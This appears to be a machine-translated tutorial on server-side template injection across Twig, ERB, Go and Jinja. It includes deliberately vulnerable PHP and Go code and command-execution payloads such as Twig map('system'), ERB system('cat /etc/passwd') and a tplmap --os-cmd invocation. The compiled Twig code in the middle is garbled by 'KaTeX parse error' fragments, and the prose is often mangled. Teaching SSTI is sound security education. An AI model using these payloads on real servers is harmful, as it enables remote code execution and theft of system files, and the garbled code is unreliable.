Introduction to SSTI
MVC
MVC is a framework mode. Its full name is Model View Controller.
That is, model - View - controller
Under the guidance of MVC, in the development, a method of separating business logic, data and interface display is used to organize the code, gather the business logic into one component, and get better development and maintenance efficiency while improving and customizing the interface and user interaction.
In the MVC framework, the user's input is received through the View and handed over to the Controller. Then the Controller calls the Model or other Controller for processing, and finally returns it to the View. In this way, it will be finally displayed in front of us. Then a technology called template will be widely used in the View here.
After bypassing the server and receiving the user's malicious input, it is regarded as a part of the Web application template content without any processing. In the process of target compilation and rendering, the template engine executes the statements inserted by the user that can destroy the template, which will lead to sensitive information disclosure, code execution, GetShell and other problems
Although most of the questions about SSTI on the market are in Python, please do not think that this attack only exists in Python. SSTI problems may occur wherever templates are used. SSTI does not belong to any language.
Common template engine and injection vulnerabilities
Twig(PHP)
First, introduce SSTI with Twig template engine. Many times, SSTI takes place directly using user input as a template, such as the following code
<?php require_once "./vendor/autoload.php"; $loader = new \Twig\Loader\ArrayLoader([ 'index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader); $template = $twig->createTemplate("Hello {$_GET['name']}!"); echo $template->render();
Injected when createTemplate$_ GET ['name'], SSTI will be raised
The following code will not, because the template engine parses {name}} in the string constant rather than dynamic splicing$_ GET[“name”]
<?php require_once "./vendor/autoload.php"; $loader = new \Twig\Loader\ArrayLoader([ 'index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader); echo $twig->render('index', array("name" => $_GET["name"]));
For the use of template engine, some methods in the template are often used to achieve the purpose of attack, such as the filter map in Twig
Take a classic example
{{["man"]|map((arg)=>"hello #{arg}")}}
Will be compiled as follows
twig_array_map([0 => "id"], function (KaTeX parse error: Expected group after '_' at position 1: _̲_arg__) use (context, $macros) { $context["arg"] = KaTeX parse error: Expected group after '_' at position 1: _̲_arg__; return ...context["arg"] ?? null))
About this twig_array_map, the source code is like this
You can see that the passed $arrow is executed as a function. Instead of passing the arrow function, you can only pass a string and find a dangerous function with two parameters that can be executed by the command
such as
{{["id"]|map("system")|join(",")}} {{["phpinfo();"]|map("assert")|join(",")}} {{["id", 0]|map("passthru")}}
Similarly, we can also find some other filters, sort and filter. There are many introductions on the Internet, so we won't repeat them.
Of course, SSTI is also used to disclose the context information in the source code and program environment. In Twig engine, we can obtain some information about the current application through the following methods
{{_self}} #Point to current application {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}}
ERB(Ruby)
Compared with Twig,ERB code directly provides some command execution interfaces, such as
<%= system("whoami") %> <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %>
The main purpose of mentioning it here is to introduce some categories of template labels
For example, ERB template tags here use <% =% >, and Twig uses {}}. According to some simple poc and tag classification, we can quickly identify whether there are template vulnerabilities and the template engine technology used
Of course, the tags of some template engines can be customized. The above list is only the default
Golang SSTI
At present, there are few SSTI studies on Golang Template, which may be due to its relatively safe design.
But through {{.}} We can get the scope
For example, in the following example
package main import ( "html/template" "net/http" ) func handler(w http.ResponseWriter, r *http.Request) { //var name = "" r.ParseForm() // Parses the request body x := r.Form.Get("name") var test map[string]interface{} test = make(map[string]interface{}) var secret map[string]interface{} secret = make(map[string]interface{}) flag := "flag{testflag}" secret["flag"] = &flag test["secret"] = secret var tmpl = `<!DOCTYPE html><html><body> <form action="/" method="post"> First name:<br> <input type="text" name="name" value=""> <input type="submit" value="Submit"> </form><p>` + x + ` </p></body></html>` t := template.New("main") //name of the template is main t, _ = t.Parse(tmpl) // parsing of template string t.Execute(w, test) } func main() { server := http.Server{ Addr: "0.0.0.0:5090", } http.HandleFunc("/", handler) server.ListenAndServe() }
Can get scope object
Further, the flag can be obtained
Even if there is a function available in the scope, we can call the function to complete the attack, such as
type User struct { ID int Email string Password string } func (u User) System(test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) }
Yes
Flask/Jinja
This engine should have the highest appearance rate and can write a lot of things. Due to space constraints, the specific contents will be recorded in (below).
Common detection tool Tplmap
Tool address: https://github.com/epinna/tplmap
Consistent with the design style of sqlmap, just connect directly
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
summary
SSTI is a common problem in MVC architecture. In addition to several engines introduced in this article, there are many affected engines, such as Velocity. This problem is mainly caused by developers directly sending user input as a template to the template engine for rendering. Binding user input to the parameters of the template can alleviate this problem. Through SSTI, we can often get the context of program running, and even use the built-in method of template engine to complete high-risk attacks such as remote code injection.
I sorted out the learning materials and guidance books of network security
Eat a bowl of noodles